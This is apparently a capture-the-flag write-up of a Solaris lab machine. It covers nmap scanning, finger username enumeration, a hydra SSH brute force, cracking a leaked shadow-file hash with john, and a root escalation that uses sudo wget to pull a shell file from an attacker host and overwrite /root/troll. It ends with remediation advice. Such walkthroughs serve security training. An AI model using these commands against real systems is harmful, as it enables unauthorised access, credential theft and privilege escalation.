First thing first, we run a quick initial nmap scan to see which ports are open and which services are running on those ports.
nmap -sC -sV -O -oA initial 10.10.10.76
-sC: run default nmap scripts
-sV: detect service version
-O: detect OS
-oA: output all formats and store in file initial
We get back the following result showing that 2 ports are open:
Port 79: running Sun Solaris fingerd
Port 111: running rpcbind
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-05 12:09 ESTNmap scan report for 10.10.10.76Host is up (0.042s latency).Not shown: 996 closed portsPORT STATE SERVICE VERSION79/tcp open finger Sun Solaris fingerd|_finger: No one logged on\x0D111/tcp open rpcbind 2-4 (RPC #100000)10082/tcp filtered amandaidx54328/tcp filtered unknownNo exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).TCP/IP fingerprint:....Network Distance: 2 hopsService Info: OS: Solaris; CPE: cpe:/o:sun:sunosOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 151.04 seconds
Before we start investigating these ports, let’s run more comprehensive nmap scans in the background to make sure we cover all bases.
Let’s run an nmap scan that covers all ports. Since the full nmap scan takes too long to run, let’s first run a quick scan to figure out which ports are open.
nmap -p- -oA full-noscripts 10.10.10.76 --max-retries 0
— max-retries: number of port scan probe retransmissions
We get back the following result showing that two other ports are open.
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-05 17:49 ESTWarning: 10.10.10.76 giving up on port because retransmission cap hit (0).Nmap scan report for 10.10.10.76Host is up (0.039s latency).Not shown: 63933 filtered ports, 1598 closed portsPORT STATE SERVICE79/tcp open finger111/tcp open rpcbind22022/tcp open unknown55029/tcp open unknown
Then we run a more comprehensive scan to identify services running on the above ports.
nmap -p 79,111,22022,55029 -sV -oA full-scripts 10.10.10.7
We get back the following result showing that:
Port 22022: is running SunSSH 1.3
Port 55029: is running a service that nmap was not able to identify
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-05 17:52 ESTNmap scan report for 10.10.10.76Host is up (0.037s latency).PORT STATE SERVICE VERSION79/tcp open finger Sun Solaris fingerd|_finger: ERROR: Script execution failed (use -d to debug)111/tcp open rpcbind22022/tcp open ssh SunSSH 1.3 (protocol 2.0)| ssh-hostkey:| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)|_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)55029/tcp open unknownService Info: OS: Solaris; CPE: cpe:/o:sun:sunosService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 31.37 seconds
Since the UDP scan took too long to run, we don’t have UDP scan results for this blog.
We’ll start off with enumerating port 79. A quick google search on the “Finger service” tells us that the finger protocol is used to find out information about users on a remote system. Therefore, we can use it to enumerate usernames.
First, check if there are any logged in users.
[email protected]:~# finger @10.10.10.76No one logged on
No one is currently logged in. Let’s check if the user “root” exists.
Login Name TTY Idle When Whereroot Super-User pts/3 <Apr 24, 2018> sunday
It does exist. Now, let’s enumerate more usernames. The seclists project has a list of usernames that we can use in order to guess the usernames that are available on the server.
Pentestmonkey has a finger-user-enum script that is used to enumerate OS-level user accounts via the finger service. Let’s run that on our host.
./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76
-U: file of usernames to check via finger service
-t: server host running finger service
We get the following result showing us that “sammy” and “sunday” are users of the system.
....[email protected]: sammy pts/2 <Apr 24, 2018> 10.10.14.4 ..[email protected]: sunny <Jan 5 23:37> 10.10.14.12 ......
Since SSH is open and we have two valid usernames, let’s try brute-forcing the users’ credentials using hydra. We’ll start off with Sunny.
hydra -l sunny -P '/usr/share/wordlists/rockyou.txt' 10.10.10.76 ssh -s 22022
-P: password file
We get back the following result showing us that Sunny’s password is “sunday”.
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.....[ssh] host: 10.10.10.76 login: sunny password: sunday....
SSH into Sunny’s account.
ssh -p 22022 [email protected]
We get the following error.
Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
The error tells us that the client and server were unable to agree on the key exchange algorithm. The server offered three legacy algorithms for key exchange. So we’ll have to choose one of these algorithms in order to login.
ssh -oKexAlgorithms=diffie-hellman-group1-sha1 -p 22022 [email protected]
-oKexAlgorithms: enable a key exchange algorithm that is disabled by default
We’re in! Locate the user.txt flag and try to view it.
[email protected]:~$ find / -name user.txt 2>/dev/null/export/home/sammy/Desktop/[email protected]:~$ cat /export/home/sammy/Desktop/user.txtcat: /export/home/sammy/Desktop/user.txt: Permission denied
We need to escalate our privileges to Sammy.
Run the following command to view the list of allowed commands that the user can run with root privileges.
[email protected]:~$ sudo -lUser sunny may run the following commands on this host:(root) NOPASSWD: /root/troll
We can run the /root/troll command as root. This is obviously a custom command so let’s run it to see what it’s doing (we don’t have read access to it).
[email protected]:~$ sudo /root/trolltestinguid=0(root) gid=0(root)
It seems to be a script that prints the id of the user running it. Since we ran it with the ‘sudo’ command, it prints the id of root. We don’t have write access to the script, so we can’t escalate our privileges using it.
After a bit of digging, I found a backup file in the following directory.
It contains two files agen22.backup and shadow.backup. The former we don’t have access to, however, we can view the latter.
[email protected]:/backup$ cat shadow.backupmysql:NP:::::::openldap:*LK*:::::::webservd:*LK*:::::::postgres:NP:::::::svctag:*LK*:6445::::::nobody:*LK*:6445::::::noaccess:*LK*:6445::::::nobody4:*LK*:6445::::::sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
It’s a backup of the shadow file. We already know Sunny’s password so we’re not going to attempt to crack it. Instead, copy Sammy’s password and save it in the file sammy-hash.txt. Then use John to crack the hash.
[email protected]:~# john --wordlist=/usr/share/wordlists/rockyou.txt sammy-hash.txt Using default input encoding: UTF-8Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 256/256 AVX2 8x])Cost 1 (iteration count) is 5000 for all loaded hashesWill run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statuscooldude! (?)1g 0:00:01:17 DONE (2020-01-05 21:03) 0.01292g/s 2648p/s 2648c/s 2648C/s domonique1..bluenoteUse the "--show" option to display all of the cracked passwords reliablySession completed
We got a password! Let’s su into Sammy’s account.
su - sammy
Now we can view the user.txt flag.
Let’s try to escalate to root privileges. Run the sudo command again to view the list of allowed commands the user can run as root.
[email protected]:~$ sudo -lUser sammy may run the following commands on this host:(root) NOPASSWD: /usr/bin/wget
We can run wget with root privileges! If you’re familiar with the “-i” flag in wget, you’ll know that we can use it to output the content of files. Therefore, we can run the following command to get the root flag.
sudo wget -i /root/root.txt
However, in this scenario we’re simply reading the content of the flag and not really escalating privileges. To get a root shell we need to chain the following two vulnerabilities:
The user Sunny can execute the /root/troll file with root privileges, and
The user Sammy can overwrite any root owned file using the wget command.
Therefore, we’ll use Sammy’s sudo privileges to overwrite the /root/troll file and include a shell in it. Then we’ll use Sunny’s sudo privileges to run the /root/troll file and convert our shell to a root shell.
Alright, let’s do this! In the attack machine, create a file called “troll” and add the following code to it.
Then start up a simple Python server in the directory the file is in.
python -m SimpleHTTPServer 5555
Go back the target machine running with the Sammy user privileges, and run the wget command to overwrite the /root/troll file.
sudo wget -O /root/troll http://10.10.14.12:5555/troll
In another SSH session running with the Sunny user privileges, execute the troll file.
Since we added a bash shell in the troll file and the troll file is being executed with root privilege, we get a root shell!
Note: Something on the server seems to be resetting the /root/troll file every couple of seconds, therefore you only have small window of time between overwriting the troll file as Sammy and executing the troll file as Sunny.
To gain an initial foothold on the box we exploited two vulnerabilities.
Username enumeration of the finger service. The finger protocol is used to get information about users on a remote system. In our case, we used it to enumerate usernames that we later used to SSH into the server. The remediation for this vulnerability would be to disable this service.
Weak authentication credentials. After getting a username from the finger service, we ran a brute force attack on SSH to obtain a user’s credentials. The user should have used a sufficiently long password that is not easily crackable.
To escalate privileges we exploited three vulnerabilities.
Information disclosure. As a non privileged user, we had access to a backup of the shadow file that leaked hashed passwords. Any file that contains sensitive information should not be available to non privileged users.
Weak authentication credentials. Although the passwords were hashed in the backup shadow file, we were able to obtain the plaintext passwords by running john on the hashes. Again, the users should have used sufficiently long passwords that are not easily crackable.
Security Misconfigurations. Both Sammy and Sunny were configured to run commands as root. Chaining these two commands together allowed us to escalate our privileges to root. The administrators should have conformed to the concept of least privilege when configuring these users’ accounts.